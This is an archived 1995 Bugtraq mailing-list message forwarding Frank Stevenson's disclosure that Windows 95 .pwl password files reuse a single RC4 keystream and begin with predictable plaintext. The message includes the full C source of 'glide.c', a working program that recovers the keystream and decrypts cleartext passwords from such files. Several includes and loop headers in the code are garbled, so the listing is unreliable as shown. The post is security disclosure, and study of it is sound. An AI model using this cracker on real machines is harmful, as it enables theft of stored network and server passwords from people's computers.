Cracked: WINDOWS.PWL



Michael S. Fischer (msf@NSI.EDU)

Tue, 5 Dec 1995 12:57:34 -0800



   *  Messages sorted by: [ date ][ thread ][ subject ][ author ]

   *  Next message: Rich Graves: "Re: Cracked: WINDOWS.PWL [most services

     accessed by any version"

   *  Previous message: *Hobbit*: "IMPORTANT: deslogin fixkit weakness"

   *  Next in thread: Rich Graves: "Re: Cracked: WINDOWS.PWL [most services

        accessed by any version"



I don't know if this is suitable for inclusion on Bugtraq, but it's quite

scary if the implications are as described...



-------

 |\  Michael S. Fischer                           System Administrator  _O_

 |   Internet: mfischer@nsi.edu            The Neurosciences Institute   |

()   Phone: 619.626.2000  Pager: 619.645.5693            San Diego, CA   |



>---------- Forwarded message ----------

>Date: Mon, 4 Dec 1995 19:06:12 +0100


>From: Tatu Ylonen 

>To: ssh@clinet.fi

>Subject: FWD from Frank Andrew Stevenson: Cracked: WINDOWS.PWL



>I am sorry to send noise to the list; this deals with Windows95 but is

>quite relevant to many Unix administrators as well.  This is not

>related to ssh.  The ssh list is not intended for this kind of stuff,

>so please don't do what I am doing now.



>Basically, you should be aware that if you ever mount disks from Unix

>machines to Windows95 machines, the passwords of the unix machine (or

>your other file servers) will be stored on the Windows machine's disk

>essentially in the plain, and any 10-year computer-literate kid with a

>little knowledge will be able to retrieve them in seconds if he gets

>access to client machine.



>The message below explains the details.  Essentially it means that

>the whole encryption scheme used by Microsoft in Windows95 is a Bad

>Joke.  Not only does it use too short keys (breakable by brute force

>in 8 hours on a normal workstation), but additionally it screws up the

>implementation, meaning that your keys can be trivially decrypted

>in a fraction of a second without ever even brute-forcing the key.

>The program to do this is below.



>I find this kind of "security" shocking.  I think this should go to

>the mass media.  At least make people at your sites aware of this

>fiasco.



>    Tatu



>------- start of forwarded message (RFC 934 encapsulation) -------


>From: Frank Andrew Stevenson 

>To: cypherpunks@toad.com

>Subject: Cracked: WINDOWS.PWL

>Date: Mon, 4 Dec 1995 17:51:36 +0100 (MET)



>A few days ago Peter Gutmann posted a description on how

>Windows 95 produces RC4 keys of 32 bits size to protect

>the .pwl files. I verified the information and wrote a

>program to decrypt .pwl files with a known password, I then

>discovered that the .pwl files where well suited for a known

>plaintext attack as the 20 first bytes are completely predictable.



>The 20 first bytes of any .pwl files contains the username, which

>is the same as the filename, in capitals, padded with 0x00. From then

>I wrote a program to bruteforce the .pwl file and optimized it

>so it would run in less than 24 hours on an SGI. I run a test

>of the bruter software and recovered an unknown rc4 key in 8 hours,

>but the decrypted file was still largely uninteligeble, I then proceeded

>to decrypt the file at all possible starting points, and discovered

>valuable information (cleartext passwords) offset in the file.



>This has enormous implications: RC4 is a stream cipher, it

>generates a long pseudo random stream that it uses to XOR the

>data byte by byte. This isn't neccecaraly weak encryption if you

>don't use the same stream twice: however WIN95 does, every resource is

>XORed with the same pseudo random stream. What's more the 20

>first bytes are easy to guess. This is easy to exploit:

>XOR the 20 bytes starting at position 0x208 with the user name

>in uppercase, and slide this string through the rest of the file

>(xoring it with whatever is there) this reveals the 20

>first bytes of the different resources.



>>From there I went on to study the structure of the .pwl file it is

>something like this (decrypted):



>USERNAME.........wpwpwpwpwpwpwpwpwpwp

>rs???????

>rs

>rs

>rs???????????

>rs???????



>where wp is i word pointer to the different resources (from start

>of pwl file) The 2 first bytes of the resource (rs) is its length in bytes

>(of course XOR with RC4 output) It is the fairly easy to find all the

>resource pointers by jumping from start of resource to next resource,

>had it not been for the fact that the size sometimes is incorrect

>(courtesy of M$)



>What follows is a short c program that tries to remedy this and

>reconstruct the pointertable thus generating at least 54 bytes of the RC4

>pseudorandom stream, and then proceedes to decrypt as much as possible from

>the different resources.



>What does this show? Although RC4 is a fairly strong cipher, it has the

>same limitations as any XOR streamcipher, and implementing it without

>sufficient knowledge can have dire consequences. I strongly suggest that

>the programmers at Microsoft do their homework before trying anything like

>this again!







>DISCLAIMER:

>This is a quick hack, I don't make any claims about usefulness for

>any purpose, nor do I take responsibility for use nor consequences of

>use of the software. FUNCOM of Norway is not responsible for any of this,

>(I speak for myself, and let others speak for themselves)



>This source is hereby placed in the public domain, please

>improve if you can.



>- --- glide.c ---



>#include 

>#include 





>unsigned char Data[100001];

>unsigned char keystream[1001];

>int Rpoint[300];





>main (int argc,char *argv[]) {

>       FILE *fd;

>       int     i,j,k;

>       int     size;

>       char ch;

>       char *name;

>       int cracked;

>       int sizemask;

>       int maxr;

>       int rsz;

>       int pos;

>       int Rall[300]; /* resource allocation table */





>       if (argc<2) {

>               printf("usage: glide filename (username)");

>               exit(1);

>       }



>       /* read PWL file */



>       fd=fopen(argv[1],"rb");

>       if(fd==NULL) {

>               printf("can't open file %s",argv[2]);

>               exit(1);

>       }

>       size=0;

>       while(!feof(fd)) {

>               Data[size++]=fgetc(fd);

>       }

>       size--;

>       fclose(fd);



>       /* find username */

>       name=argv[1];

>       if(argc>2) name=argv[2];

>       printf("Username: %s\n",name);



>       /* copy encrypted text into keystream */

>       cracked=size-0x0208;

>       if(cracked<0) cracked=0;

>       if(cracked>1000) cracked=1000;

>       memcpy(keystream,Data+0x208,cracked );



>       /* generate 20 bytes of keystream */

>       for(i=0;i<20;i++) {

>               ch=toupper(name[i]);

>               if(ch==0) break;

>               if(ch=='.') break;

>               keystream[i]^=ch;

>       };

>       cracked=20;





>       /* find allocated resources */

>       sizemask=keystream[0]+(keystream[1]<<8);

>       printf("Sizemask: %04X\n",sizemask);



>       for(i=0;i<256;i++) Rall[i]=0;



>       maxr=0;

>       for(i=0x108;i<0x208;i++) {

>               if(Data[i]!=0xff) {

>                       Rall[Data[i]]++;

>                       if (Data[i]>maxr) maxr=Data[i];

>               }

>       }

>       maxr=(((maxr/16)+1)*16);        /* resource pointer table size

>appears to be

divisible by 16 */



>       /* search after resources */



>       Rpoint[0]=0x0208+2*maxr+20+2;   /* first resource */

>       for(i=0;i               /* find size of current resource */

>               pos=Rpoint[i];

>               rsz=Data[pos]+(Data[pos+1]<<8);

>               rsz^=sizemask;

>               printf("Analyzing block with size:

>%04x\t(%d:%d)\n",rsz,i,Rall[i]);

>               if( (Rall[i]==0) && (rsz!=0) ) {

>                       printf("unused resource has nonzero size !!!\n");

>                       exit(0);

>               }



>               pos+=rsz;



>               /* Resources have a tendency to have the wrong size for

>some reason */

>               /* check for correct size */



>               if(i                       while(Data[pos+3]!=keystream[1]) {

>                               printf(":(%02x)",Data[pos+3]);

>                               pos+=2; /* very rude may fail */

>                       }

>               }



>               pos+=2; /* include pointer in size */

>               Rpoint[i+1]=pos;

>       }

>       Rpoint[maxr]=size;



>       /* insert Table data into keystream */

>       for(i=0;i <= maxr;i++) {

>               keystream[20+2*i]^=Rpoint[i] & 0x00ff;

>               keystream[21+2*i]^=(Rpoint[i] >> 8) & 0x00ff;

>       }

>       cracked+=maxr*2+2;



>       printf("%d bytes of keystream recovered\n",cracked);



>       /* decrypt resources */

>       for(i=0;i < maxr;i++) {

>               rsz=Rpoint[i+1]-Rpoint[i];

>               if (rsz>cracked) rsz=cracked;

>               printf("Resource[%d] (%d)\n",i,rsz);

>               for(j=0;j               printf("\n");

>       }





>       exit(0);

>}



>- --- end ---





>#include 

>E3D2BCADBEF8C82F A5891D2B6730EA1B PGPencrypted mail preferred, finger for key



>------- end -------













--- end forwarded text



----- End Included Message -----



   *  Next message: Rich Graves: "Re: Cracked: WINDOWS.PWL [most services

     accessed by any version"

   *  Previous message: *Hobbit*: "IMPORTANT: deslogin fixkit weakness"

   *  Next in thread: Rich Graves: "Re: Cracked: WINDOWS.PWL [most services

     accessed by any version"